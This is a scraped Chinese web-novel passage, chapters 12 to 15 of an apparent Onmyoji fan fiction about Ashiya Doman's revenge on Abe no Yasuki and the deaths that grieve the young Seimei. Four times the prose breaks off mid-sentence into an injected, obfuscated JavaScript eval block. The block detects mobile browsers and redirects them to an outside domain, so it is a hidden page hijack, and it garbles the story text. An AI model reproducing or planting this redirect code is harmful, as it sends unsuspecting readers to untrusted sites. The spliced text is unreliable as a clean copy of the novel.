驭使式神实际上是一件非常危险的事情,式神多为妖鬼所化,性情难测,一个不慎,便会反噬主人。 如果只是命令式神做点解咒之类的小事倒也罢了,但如果想让式神帮忙杀人的话,那就必须要把那个想杀掉的目标的真名告诉给式神知道,在这种情况下,式神多半不会失手。 但是如果告知式神的是个假名字,那样式神就不可能找得到目标人物,但由于契约约束,它必须要杀一人,到了这个时候,它就会把谋杀的目标改换成驭使它的主人。 阴阳师洞悉生死,勘破阴阳,但如果他们要利用阴阳术来害人的话,那就必须承担因此而产生的一切代价。 卢屋道满的气焰似乎被削弱了下来,他问:“你能保证你这里只有两个徒弟?” 贺茂忠行暗暗松了口气,如果卢屋道满宁愿冒着被式神反噬的风险也要对他下咒的话,那今天他的处境就很危险了。 “贺茂忠行”的确是他的真名没错,他刚才不过是虚张声势而已。 “当然可以保证。”贺茂忠行脸上丝毫不见心虚的神色。 “如果我没记错的话,你的其中一个徒弟是你自己的儿子,另一个,则是安倍益材家的孩子安倍晴明对吧?”卢屋道满又问,脸上的笑容极其诡秘。 “对,那又怎样?”贺茂忠行冷冷地说。 “没什么。”卢屋道满慢悠悠地环顾一圈,很自然地盘膝原地坐了下来,转移了话题:“贺茂大人不想知道我为什么要四处下咒吗?” “我和你这样的人没什么好说的。” 卢屋道满低声笑了起来,自顾自地说了起来:“鬼是从哪里来的?是人心呀,人性贪婪,永远也得不到满足,这就催生出了鬼,这不是很有趣吗?有些人宁可做鬼,也不想做人。” “那我就帮他们一把咯,看一看如果他们真的成了鬼,是不是就能满足全部的愿望了。”卢屋道满神经质地嘀嘀咕咕,仿佛回味似的眯起了眼睛:“我想一想……我第一次在这平安京里下咒,是在一个女孩子身上,我看到了她的欲望,是‘妒’,女人身上常有,但她的妒忌格外有趣。她是在妒忌她的几个姐姐都能入宫为妃,替她们的父亲分忧。”卢屋道满疯子似的大笑起来:“多高尚的妒忌啊,我喜欢这个女孩子,我必须要帮她才行。” “刚好她家里有一张旧面具,而且是般若面,很相配嘛。”卢屋道满一边笑,一边说:“因妒忌而生的鬼,和心怀妒忌的女人。这样一来,大家就都满意了,不是很好吗?” 接下来,他又说出了一大串给其他人下咒的经过,几乎都是相似的原因:他想知道人类在成为鬼之后,是不是真的能够满足他们的心愿。 “你在胡说八道些什么?真是疯了!”贺茂忠行听不下去了,大声呵斥道。 卢屋道满仰着头,挑衅似的直视贺茂忠行的眼睛:“这么快就不想听了吗?我倒是还有不少想说的话,不过,在我看来,大阴阳师贺茂忠行也不过如此。” 贺茂忠行直觉有些不对劲,但还没有察觉到底是哪里不对,即使这样,他还是立刻取了张符咒夹在了手指间,严阵以待。 他一向很相信自己的直觉。 卢屋道满又从地上站了起来,不知道是不是坐久了腿麻,他好像有点站不稳似的,踉跄了一下,又笑了一声,道:“想不到我一个纸人,竟能骗过贺茂大人的眼睛,还为我争取到了这么多时间。” 贺茂忠行骤然脸色一白。 卢屋道满不怎么正式地行了个礼,笑说:“贺茂大人只管放心,我不会对一个孩子下手的,我还没疯到那个地步。” “我的目标,一直都不是安倍晴明。”卢屋道满身子晃了两晃,才又站住了:“对了,刚才忘了说,我不断地下咒,也不完全是为了看什么愿望满不满足的这种琐事。” “我早就占卜出了我要找的人的大致位置,只不过一直不知道他具体住在哪一家罢了。”卢屋道满笑道:“我下咒的同时也是在试探呀,我虽然不是很想波及到无辜的人,但如果到最后都找不到我要找的人的话,那我也只能把住在那儿附近的人全部杀光了。” 这话他说的满不在乎,好像他要杀的不是人类,而是一群任他宰割的蝼蚁。 “你在那个地方设了隐匿咒吧?外人如果不是特意去找,就会很容易把那座院子忽略掉——难怪我这么久都没找到。”卢屋道满最后又露出了一个诡异的笑容,他说:“贺茂大人,你猜,我是要杀谁呢?” 说完这句话,卢屋道满的身体化成了一张手掌大小的纸人,飘飘忽忽,落在地上。 那纸人躯干的部分潦草地写着几个字。 贺茂忠行疾步上前,可还没等他看清纸人身上的字,纸人就自己燃了起来,火苗一下子蹿得老高,差点燎伤了贺茂忠行。 那是卢屋道满的凭依纸人,纸人上写的是卢屋道满的真名,借助纸人,卢屋道满就可以把自己的魂魄附着在上面,并成功骗过了贺茂忠行。 可惜贺茂忠行终究晚了一步,没能看清楚卢屋道满的真名。 贺茂忠行面色铁青,这一次,他栽了个彻底。 “晴明!” 贺茂忠行记起卢屋道满走之前留下的话,顿时不敢再耽搁了。 “安倍宅呀……”卢屋道满遥遥望着那处他这段时间以来一直没有注意到的宅院,缓缓露出了笑容:“找到你了。” 卢屋道满走进了晴明布设的结界,一把推开了画着桔梗印的大门,这些都没有对他造成任何阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460587|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碍,晴明所做的一切都是防御妖鬼用的,根本拦不住一个人类阴阳师。 “原来你叫安倍益材。”卢屋道满一边神经兮兮地低喃,一边逐个检查安倍家的房间。 很快,他就找到了安倍益材。 “别躲了,找到你了。”卢屋道满的笑容很是扭曲,他缓缓走到安倍益材身边,深深吸了口气,好像在掩盖什么极其激烈的情绪。 然后他说:“你倒是好心善呀,十多年前,从猎人手里救了只野狐?” 安倍益材不太明白这个突然出现在他面前的人的意思,不过十多年前,他确实是救下了一只狐妖,葛叶。 “你还不知道你到底做了什么吧?算了,我都找了你这些年了,也不急于一时,我就从头说起吧,反正贺茂忠行也被我拖住了,时间有的是。”卢屋道满闭了闭眼,像是在回忆:“十多年前,我弟弟得了种怪病,我为他占卜,占卜的结果呢,是要用一只白狐的肝脏作药引,可是白狐难得呀,而且狡诈难捕,我雇猎人蹲守了几天才终于打伤了一只白狐,而且还是只狐妖,更适合入药。” “可这白狐被你这善人给救了?”卢屋道满舔了舔干涸的嘴唇,突然暴怒起来:“我弟弟没了药,他死了!那畜生不该死,难道我弟弟就是该死的?” “你倒是好,你行了善,我做了恶,是不是?你是救了白狐的命没错,可你杀了我弟弟!”卢屋道满焦躁地踱来踱去,眼前不断浮现出自己弟弟的死状。 他又想起了那个叫他从蜘蛛网里救蝴蝶的孩子。 你究竟是救了蝴蝶呢?还是害了蜘蛛? 蝴蝶美丽,所以要救;蜘蛛丑恶,所以活该饿死是吗? 卢屋道满双手冰凉,全身不受控制地颤抖着。 “对不起,我……并不知道……”安倍益材低声说:“我可以补偿您。” 卢屋道满好像听见了个笑话,他大笑起来。 “你知道吗?我不恨那只野狐,这件事与它无关。”卢屋道满一步步逼近了安倍益材:“我只恨你,我弟弟相当于是死在了你的手里。” “所以,你去陪他,好不好?”卢屋道满从怀里摸出了刀子:“你也说了,你可以补偿,就用你这条命来补偿吧,好不好?” “不行!”一个尖脆的女孩子声音响了起来,明美子出现在安倍益材身前,以一个保护者的姿态,拦在了安倍益材和卢屋道满之间。 “区区一个座敷童子,就凭你?”卢屋道满根本没把明美子放在眼里,随手一推,就把明美子甩到了一边。 即使得到了晴明的灵力,但是说到底,她也只是一个座敷童子而已,妖力低微,根本没办法与卢屋道满这种程度的阴阳师相较。 明美子挣扎着爬起来,手里攥着一把符咒,那是她刚刚从安倍益材身上拿到的。 “你疯了?敢碰符咒?不怕魂飞魄散吗?”卢屋道满有些意外,他想不出什么能让一个小小的座敷童子这样拼命。 明美子紧紧抿着嘴唇,她的灵体已经被符咒灼伤,她强忍着痛楚,把符咒按照晴明之前教的方式,一一朝卢屋道满丢了过去。 13. 第十三章:亡者之语 等晴明和贺茂忠行赶到安倍益材的宅院的时候,一切都晚了。 安倍益材倒在了地上,躺在自己的血泊里。 安详地阖着眼眸。 “父亲……”晴明仿佛骤然失了声,颤抖着嘴唇,不敢置信地、失了魂魄似的走到了他父亲身边。 不论往日里晴明对安倍益材有什么样的不满,可无论如何,那是他的父亲啊。 终究是血浓于水。 贺茂忠行则迅速召出了式神猫又,叫它去附近搜寻卢屋道满的踪迹,但最后一无所获,卢屋道满早就逃走了。 晴明失魂落魄地跌坐在安倍益材的尸体边,他想不通,为什么事情会变成这样。 父亲怎么就变成了这副模样呢? 这就是死亡? 晴明试探性地推了推安倍益材,小声唤:“父亲大人,您……” 您醒醒呀,再看看我,好不好? 可是这些话都没能说出口,因为安倍益材全身都已经冷透了。 那不是活人该有的温度。 晴明像是一下子惊醒了,后知后觉地想去捂住安倍益材胸口的血洞,但是血都已经流尽,再怎么捂,也都没有任何用处了。 人死了之后,他会去哪里呢? 就好像烛火被吹灭之后,火焰去了哪里呢? 晴明想不通,他不知道该去什么地方找回他的父亲。 为什么他要经历这些?他还只有十一岁呀。 贺茂忠行于心不忍,走上了前去,蹲下身子问晴明:“还想见见你父亲吗?也许他的灵魂还没有离开这里。” 晴明半晌才听懂了贺茂忠行的话,他的眼睛里重新亮起了光:“这种事情……真的做得到吗?” 贺茂忠行没答话,把躲在一边,盯着安倍益材的尸体流口水的猫又唤了回来,变回白纸,然后把那张纸衔在口中,默默念诵着:“以我灵能,唤彼魂火;以我式神,召彼现世;以子之愿,请彼相见。” 最后一个字刚刚出口,一阵稍稍有些阴冷的风便刮了起来,这股阴风并不摄人,反而能让人莫名其妙地安下心来。 安倍益材的尸体上空,渐渐浮现出了一个模糊的人形,眉眼赫然就是安倍益材! “父亲!”晴明喜出望外,竟然忘记了敬称。 安倍益材没说话,弯下腰想摸摸晴明的脑袋,半透明的手却直接穿透了晴明的身体。 终究是人鬼殊途,安倍益材并没有变成恶鬼妖灵,他的能力还不足以让他化出可以触碰到的实体。 “果真是死了呀。”安倍益材缩回手,半是无奈,半是自嘲地笑了笑,朝贺茂忠行的方向鞠了一躬,贵族风度尽显:“多谢贺茂大人,让我与晴明可以再见一面。” 贺茂忠行摇头:“是我的错,如果能早一点发觉那家伙的用意的话……” “世有定数,若要强行逆转,必要受谴的。”安倍益材微微一笑,他倒是对自己已经死了这件事看得很豁达:“从我救下晴明的母亲的那天起,我就种下了这个因,终有一日,会得到这样的果。” 当年的安倍益材又怎么会想到,他救下了一个无辜的生灵,却在无形中又害了另一条性命。 造化弄人而已。 没什么对错可言。 “晴明,我还没有告诉过你,在你母亲离开之后,我曾经又去过一次那片森林。”安倍益材很谨慎地没当着贺茂忠行的面,提葛叶的真名和具体位置。 “我对自己能否抚养你长大这件事心里没底,所以想去把你母亲找回来,可她不愿意跟我回来,或许是因为我当初表现得太害怕,真的伤了她的心吧。”安倍益材原本想把这些事全部对晴明瞒下来,可他不想让自己死后还在被自己的孩子怨恨着。 “我是待你不好,可我是在害怕,怕你不懂隐藏自己的锋芒,最后被阴阳师当作妖怪。”安倍益材顿了顿,没再说下去,他还是不习惯自白。 晴明则愣住了,他完全没想过这些。 他忽然发觉自己一直都没有理解他父亲的苦心。 可是等他懂了,也晚了。 “晴明,别太恨。”安倍益材又说:“我不是被人杀死的,而是自杀。” “我和那位卢屋大人约好了,我可以死,但他绝不可以对你动手。”安倍益材蹲下身来,虚虚做了个拥抱的姿势:“能用我这条命,换你此生平安顺遂,也是好的。” “好好跟着贺茂大人学阴阳术,忘了我吧,也没什么仇需要你去报。”安倍益材望着自己的孩子的眼睛,微微一笑:“当年救你母亲的时候,我正在神社里,向稻荷神许愿,愿我安倍家终有一日能重现昔日辉煌。我相信神明听到了我的愿望,此事,或许就应在你身上。” 传说中的丰饶之神:稻荷神御馔津正是狐狸所化,谁又知道葛叶和安倍晴明是不是神明赐给安倍家的希望呢? “今后你一个人好好生活,也带上明美一起。”安倍益材直起身子,指了指储藏室的方向:“她是个好孩子,别叫人害了她。” “我走了,今后,春光里的花、夏日里的风、秋天里的红叶、冬季里的雪,都是我在这世间存留的痕迹,它们会替我来陪你。”安倍益材最后笑了笑。 “不!父亲,你别……”晴明大叫起来,猛地朝他父亲的灵魂扑过去,想抱住他,可是那点残魂只是闪了一下,随后就消失了。 那个温柔的男人不见了。 去哪了呢?谁也不知道。 或许真的有一个亡者生活的世界存在,或许没有。 但即使那个世界真的存在,那也绝不是活人轻易能去的地方。 晴明跪坐在地,呆呆地看着自己空空的双手,在刚才的一个瞬间,他似乎是真的接触到了他父亲的灵魂,至今手心里还残留着那股魂魄所特有的冷意。 对了,明美…… 明美还在! 晴明骤然站起了身子,疯狂地一头撞进了储藏室。 明美,求求你,别再走了。 我只剩下你了。 所幸,明美子真的还在,不过被人封印住了,躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460588|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在角落里动不了。之前晴明送给安倍益材防御妖鬼的符咒在她身边洒了一地。 阴阳术…… 他自负天赋过人,可到头来,他连自己的父亲都救不了。 晴明从自己的符咒上踩过,走到了明美子身边。 贺茂忠行走过来要解除封印,晴明却阻止了他,低声说:“那个阴阳师,是叫卢屋道满对吧?我想看看他和他的差距究竟有多大,这个封印,我来解。” 卢屋道满的这个封印并不复杂,可能是时间紧迫,他只是随便拿了一张符咒,贴在了明美子身上。 但符咒上附着的灵力却不是晴明能轻易破除的。 晴明虽然天赋过人,但多年疏于修习,他的灵力又岂是能与卢屋道满相比的? 最后,晴明咬牙强行撕去了符咒,后果可想而知,符咒上的灵力全部反噬到了晴明身上,生生把他逼吐了血。 晴明脸色发白,摇摇晃晃地过去,要扶起明美子。 可是不料,明美子先是低声说了句抱歉,然后突然抓住晴明的胳膊,露出了她从没露出过的、独属于鬼的獠牙,狠狠地咬了下去。 不仅是晴明,连贺茂忠行也对此始料未及,也就没来得及阻止。 獠牙把晴明的手臂刺出了四个不浅的血洞,饱含着灵力的血液涌流而出,被明美子大口大口地吞咽了下去。 座敷童子也会饮血? 这是贺茂忠行从没遇到过的情况,他来不及去想明美子为什么会变成这样,连忙出手要制住她。 但晴明朝他摇了摇头,然后,晴明慢慢抱住了明美子,脸色因失血而惨白,低声说:“没事,吓坏了吧?明美,没事了,他走了,那个阴阳师走了。” 晴明一边说,一边用另一只手轻轻抚摸着明美子的后背。 明美子像是情绪终于稳定了下来,慢慢放开了晴明的手臂,满脸泪痕地抬起头:“对不起,晴明,我没能救他,没能救安倍大人……” “没事,交给我,我来解决。”晴明语气轻柔,说着杀气腾腾的话,脸色阴沉至极。 晴明最后在明美子的头上摸了摸,然后站起身来,在狩衣上撕了一片,裹住手臂上的咬伤。 月白色的狩衣上此时沾满了他自己和安倍益材的血,晴明站在那儿,头发散乱,有些站不稳地摇晃了几下,整个人就像一只索命的厉鬼。 他说:“贺茂师傅,我要替我父亲守灵,有些葬仪的事情我不懂,麻烦您帮我安排一下。” 晴明转过身去和贺茂忠行说话,因而也就错过了明美子跪在地上,一边舔舐地上的血,一边死死抓住自己的喉咙,强迫自己吞咽的情景。 谁也没注意到明美子反常的举动,否则,或许他们还可以避过日后的一场灾厄。 当晚,晴明在他父亲的尸体前,枯坐了一夜。 贺茂保宪过来陪他,可他也想不出自己该说些什么话来安慰晴明。 没有人发现,明美子悄悄溜出了安倍益材的院子,她避开所有人的眼睛,不知去了哪儿。 14. 第十四章:明美之厄 深夜,明美子独自一个,到了城外的一处树林里。 在关于她母亲的事情上,她说了谎,她并没有忘记自己是怎么死的,她只是不敢面对而已。 她父母都是住在平安京之外的山民,父亲以打猎为生,但是有一天,他被饥饿的狼群撕碎了,最后留给她和她母亲的,只有几片染血的衣襟。 母亲独自带着年幼的她生活不下去,最后,母亲陷入了崩溃,抱着她走进了树林。 母亲对她说,我们去找你父亲。 她死在了树林里,和母亲一起,但也因此获得了新生,还有一个新的名字。 她不能再让晴明也陷入和她一样的境地了。 明美子走着走着,喉间忽然一阵抽搐,险些吐出来。 白天的时候,她迫不得已喝了晴明的血,这是因为她接触到了驱鬼的符咒,灵体受损,如果她不那样做的话,根本走不了这么远。 晴明的血液中含有灵力,再加上他们之间契约的联系,她灵魂受损的部分很快就愈合完整了,甚至比之前更强大了很多。 人血那股腥甜的味道在她唇舌之间萦绕不去,但更让她感到恶心的是,她竟然很喜欢饮血的感觉,当晴明的血液流进她口中的时候,她竟然不想松口了。 无论是从哪个层面来说,饮过人血的鬼都不再是原来的那只鬼了。 任何一只鬼都抵挡不了人类的血肉所给予的诱惑。 不过,为了晴明,变成厉鬼又怎样? 她心甘情愿。 明美子终于找到了自己想找的东西,她和母亲的骨骸。 明美子跪了下来,在那堆几乎已经分辨不出来原样的骨殖前。 “母亲,您还在吗?”明美子抚摸着一颗圆圆的颅骨,眼泪落了下来,渗进了骨骸:“如果您还在的话,请帮帮我。我要去报仇呀,我的家又一次被毁掉了,我又一次没有家了啊。” 她是座敷童子,是要给人们带来福运的,可这次的灾厄是毁灭性的,她根本没办法避免,那就只能由她亲手终结掉。 渐渐月上中天,月光洒在了明美子和骸骨上面,树林里好像镀上了一层银白。 虚幻的影子浮现了出来,两个人,一男一女。 明美子的父母。 他们真的在死后重逢了。 他们安详地笑着,朝明美子点了点头,像是在鼓励明美子做她想做的事一样。 “对不起,对不起……”明美子一边哭着,一边朝她的父母伸出了手。 时隔十数年,她终于又握住了亲生父母的手。 然后,她把父母…… 狠狠地扯到了嘴边,一口咬了下去。 她不想再喝晴明的血,但她还不够强大,杀不了卢屋道满。 想来想去,她就只剩下了吞食其他妖鬼这一个选择。 而她父母就是在平安京附近、她所知道的、仅有的鬼。 父母给了她性命,但也亲手杀死了她。 晴明给了她名字,安倍益材给了她一个家,相比之下,他们才更像是她的家人。 但即使如此,做下这个决定又谈何容易! 明美子一边哭,一边强迫自己把父母的灵魂一同吞吃下去,冰冷的魂魄却在喉间带来了烧灼般的感觉。 “对不起,对不起……”明美子机械地喃喃着,紧紧捂着嘴巴,极力抑制着恶心想吐的感觉。 眼泪几乎都流尽了,两行血泪从明美子眼眶里流出来,她随手抹了一把,蹭了满脸的血。 这个模样的她,任谁看了,都不可能相信她就是会为人们带来福运的座敷童子。 “我要去报仇,我要去报仇……”明美子口中不断重复着,她既饮下了人血,又吞食了无辜的灵魂,她已经和恶灵没有什么区别了,连神智都开始渐渐模糊,她生怕忘记自己此行的目的,便一遍一遍地反复提醒自己:“报仇,卢屋道满……” 明美子慢慢朝树林外走去,身子摇摇晃晃。 天皇最近一直对卢屋道满很感兴趣,还亲自为卢屋道满指定了一处宅院居住。 明美子没费多大力气就找到了卢屋道满的住处,她记得仇人的味道,这对鬼来说并不难。 可她毕竟没有任何害人的经验,就算满心杀意,她也还只是一个不谙世事的孩子。 她是座敷童子,无论怎样都成不了真正的厉鬼。 所以还没等她踏进卢屋道满的院子,她就被一只极其高大的白色恶犬扑倒在地,任她怎样挣扎都逃不出恶犬的利爪。 恶犬轻轻松松地把明美子踩在爪下,高声吠叫着,试图引起它的主人的注意。 “怎么回事啊?犬神?”卢屋道满听见恶犬的吠叫,从屋子里走了出来,瞟了明美子一眼。 犬神是狗死后残留下来的魂魄,它们忠心不改,继续履行着为主人看家护院的职责。 “怎么有点眼熟?”卢屋道满嘀咕着,蹲下身来替明美子擦了擦脸上的血:“噢,你是安倍君家里的座敷童子,怎么把自己搞成了这个样子?都快要变成恶灵了吧。” “我要杀了你!”明美子疯狂地挣扎着。 卢屋道满有点苦恼地叹了口气:“我说呢,你怎么突然跑到这儿来,你倒是煞费苦心呀,比白天见你的时候倒是变强了不少。” “让我猜猜,你是吃了安倍晴明?不对,要是真的吃了白狐之子,不可能还这么弱。那就是喝了他的血?应该还吃了点别的什么吧?你身上灵力不纯,肯定是又吃了什么无名无姓的小鬼小妖怪。”卢屋道满一边摸了摸犬神硕大的狗脑袋,一边说:“好好的座敷童子不做,偏要学恶鬼害人,何苦呢,安倍家住着不舒服,那就换一家咯,何必这么死心眼。” “我想也不可能是安倍晴明那么不自量力,指望一个座敷童子来杀我,那我就不把这笔帐记到他头上了。”说着,卢屋道满慢悠悠地负手走开:“我给过你机会了,上一次我不杀你,但这次,你主动撞到我手里,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460589|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再放过你,恐怕后患无穷。” 卢屋道满扬扬手:“犬神,你喜欢的话,就吃了吧。” 卢屋道满回了房,而犬神得到了主人的首肯,朝明美子张开了血盆大口…… 上一次,明美子也是这样死的,她被母亲带进山里,遇上了狼群。 母亲终于如愿了,她见到了自己深爱的丈夫。 可是她呢? 她孤身一人在世间游荡,见到一点点温暖就扑上去。 终究是飞蛾扑火。 当年懵懂的女孩子和现在这个满怀恨意的恶鬼重合在了一起,她们从凶兽的利爪和獠牙下挣扎着伸出手,哭泣着求救。 可是当年没人来救她。 现在也一样。 可悲的命运,让她两次葬身于猛兽腹中。 而这一次,她再也没有机会回到人世了。 而晴明直到安葬完父亲之后,才发现明美子不见了。 这些天里,即使有贺茂忠行和贺茂保宪的帮助,他还是忙得心力交瘁,实在没有心思去顾及其他的事。 等到一切都安排好了,他才记起这几天他一直没见到明美子。 他找遍了家里的每个角落都没能找到明美子。 晴明试着做了个占卜,占卜的结果令他眼前一黑,又呕出口血来,昏了过去。 此时,朝堂之上,天皇命贺茂忠行与卢屋道满一起为他占卜,他想看看这两个人的占卜能力究竟谁更强一些。 很简单的规则,占覆,他预先叫人藏了件东西在盒子里,叫他们二人轮流占卜,谁猜得中,谁便赢了。 贺茂忠行情绪很差,即使是在天皇面前,他也没心思隐藏自己对卢屋道满的敌意了。 卢屋道满倒是不怎么在意,还趁着天皇不注意,悄悄凑到了贺茂忠行身边,说:“有人对我说,那盒子里放的是个橘子。” “你什么意思?”贺茂忠行抬起眼睛来看他,冷冷地问。 “把我带进平安京的那几位大人想让我赢你,设法探听到了盒子里的东西。”卢屋道满笑了笑,说:“我讨厌这种做法,所以打算故意说错。” “用不着你来让我。”贺茂忠行冷冰冰地说:“你只管说你的橘子便是,他们探听得到,也算是本事。” 卢屋道满挑了挑眉毛,笑道:“那好,那我就等着看看贺茂大人你的本事了。” 说完,他上前一步,抢先说道:“天皇陛下所藏之物,色黄而味甘,食之则必先去皮,其外皮酸涩,不堪食用——是橘子。” “不对,是老鼠。”贺茂忠行冷冷地说:“窃人食粮,害人性命,居于狭缝之中,探听他人秘密,终日里尽行些不仁不义之事。” 卢屋道满微微一怔,随后像是想明白了什么,微微一笑,也不说话。 “这一次,贺茂卿可猜错了。”天皇笑了起来。 “是对是错,陛下不妨打开盒子来看一看。”贺茂忠行不慌不忙地用折扇敲了敲手心。 15. 第十五章:笑茭 天皇被贺茂忠行的笃定搞得有点摸不着头脑,因为那枚橘子是他亲手放进盒子里的,他不可能连这都搞错。 天皇示意身边随侍的官员打开了盒子,一只灰色的小老鼠吱吱叫着窜了出来,肚皮撑得滚圆,那枚天皇放进去的橘子已经被它吃了个干干净净。 “怪了,什么时候钻进去的?”天皇百思不得其解,而贺茂忠行只是用折扇压了压唇角,没有说话。 老鼠当然是他刚刚利用阴阳术塞进盒子里的。 藤原兼家自然是很愿意看到卢屋道满输给贺茂忠行,而他的政敌们则面色铁青。 散了朝,卢屋道满好像完全不会看人脸色似的,又凑到了贺茂忠行身边,也不管贺茂忠行是不是对他冷着脸:“今天这一局算不得数,不如我们找机会再比一场。” 贺茂忠行冷笑:“在安倍君的事情上,我已经输了,又何必再比。” “可是世人不知道啊。”卢屋道满没否认贺茂忠行的话,他颇有几分得意地笑了起来:“就像深夜里穿上了华美的衣裳,谁又看得见呢?在大家眼里,你还是那个大阴阳师贺茂忠行,而我呢,也还是一个从没教化的地方走出来的、有点运气的山民。” “只有打倒了你,贺茂大人。”卢屋道满逼近了贺茂忠行,笑得玩味:“我才能真正被人承认,才能算是一个堂堂正正的大阴阳师。” 贺茂忠行被这野心勃勃的话刺得一惊,这才认真衡量起卢屋道满这个人来。 直到这个时候,贺茂忠行才察觉到,就在卢屋道满来到平安京的短短几个月的时间里,这个人身上就发生了翻天覆地的变化。 他穿上了整套的狩衣,头发束得整整齐齐,手上甚至还拿了一柄精致小巧的五骨蝙蝠扇。 完全是一副贵族般的做派,只不过这身行头和他的外表极其不搭,看起来不伦不类,很有几分东施效颦的味道。 而这又与贺茂忠行自己何其相似! 贺茂忠行自己也并非贵族出身,为了弥补这种天生的差距,他在成功博得天皇的支持之后,就一直在努力学习贵族的姿态,贵族喜欢往衣服里填充很多华贵的丝绸以彰显地位和财力,他就穿上了厚重的狩衣,将自己裹得一层又一层,即使是到了天气最热的时候,他也不敢稍微穿得轻薄一些,生怕受人嘲笑,更听不得任何人谈起他的出身。 可是到底,他在旁人眼中也只是另一个卢屋道满吗? 野鸭天生卑贱,可它们向往着天鹅生活的湖泊。 于是它们捡来了天鹅掉落的羽毛插在身上,假装娴静地泅水,以为自己成功骗过了天鹅们的眼睛。 但是实际上,天鹅早就看透了这种低劣的伪装手段,之所以一直没有说破,不过是因为它们还需要野鸭为它们源源不断地提供笑柄而已。 贺茂忠行忽然笑了一声,用折扇遮了遮嘴角,目光直视卢屋道满:“既然这样的话,那就只能各凭本事了。我等着,卢屋大人。” 野鸭发觉了天鹅们不怀好意,它们鼓动着野鸭和另一只外来的野鸭厮杀对决,它们则兴致勃勃地聚在一旁看戏,而且还商议着应该怎样做才能让两只野鸭厮打得更激烈些。 但是野鸭别无选择,因为它还有个孩子,如果它能斗赢了,那么也许它和孩子有机会在这片天鹅的湖泊里博得一席之地。 别了卢屋道满,贺茂忠行没立即回家,而是去了安倍益材从前的宅子。 安倍益材不在了,这些天里,晴明一直独自住在这里。 他很担心晴明,虽然这个孩子在料理安倍益材的葬仪的时候一直表现得很平静,但是这种平静太不正常了,这完全不是一个十一岁的少年乍知父亲离世,所该有的反应。 如果晴明大哭大闹,贺茂忠行反倒更能放心了。 但现在晴明把情绪全部掩盖起来,谁又知道这种平静之下,到底隐藏着什么。 晴明坐在庭院里面,月白色的狩衣上又沾染上了血迹,仿佛荼蘼的樱花,朵朵开在了他身上。 他身边堆满了各种占卜的用具,以往,晴明很少借助这些外物来占卜,他经常只靠着直觉就能把事情猜得七七八八。 但是现在,晴明正不断地把每一种占卜的方法一一试过去,他一刻不停地换方法占卜,仿佛是在对抗一个他不愿承认的现实。 晴明忽然咳了几声,血沫从嘴边溢出,滴落在了他手里的茭杯上,鲜红色的血将茭杯染得一片猩红。 他原本在破除卢屋道满的封印的时候就受了伤,这些天为了安倍益材的葬仪又连日操劳,一直没有好好休息,即使他年纪尚小,他的身体也根本受不住这样的磋磨,早已是强弩之末,现在只不过是强行撑着一口气没彻底倒下去而已。 当贺茂忠行赶到这里的时候,他看到的就是这一幕,晴明满身鲜血,却还不断地强行动用灵力占卜。 他这是在压榨自己的性命。 贺茂忠行顿时大惊失色,疾步走到晴明身边,将晴明手里的占卜用具打落在地:“你在做什么!你知不知道……” 晴明抬起头来,眼中悲伤的神色刺得贺茂忠行心头一凉。 “我占卜到的结果说,明美也走了。”晴明又要去摸他的茭杯,继续说:“可是我不信,一定是我的占卜出错了,她是座敷童子呀,怎么会有阴阳师想杀她呢?一定是她被人封印在什么地方了,我得找到她,带她回来,她得回家啊……” 他早就无数次地占卜到了结局,可是一直固执地不肯相信,明美说了,她会一直陪着他,保护这个家的,她怎么会食言呢? 她不是这样的人啊。 越来越多的血从晴明唇齿间溢出,晴明浑身发冷,但还是掷出了茭杯。 向神明询问,明美究竟在哪里? 两只茭杯落了地,都是正面。 笑茭。 代表陈述不清、无法裁示,或者是神明主意未定,还需要再请示。 又或者,神明的意思是…… 所提问题自有主张、已有定数,何必多此一问。 已有定数,已有定数啊……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460590|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晴明全身不受控制地剧烈颤抖起来,真的没有任何办法了是吗? 不对,茭杯也错了。 晴明眼前发黑,摸索着还要去找其他东西来重新占卜,他决不相信这种结果。 如果明美也从此离开了他,那他就真的连最后一点安慰也没有了。 贺茂忠行深叹一口气,伸手极有技巧性地在晴明颈间一敲,打晕了晴明。 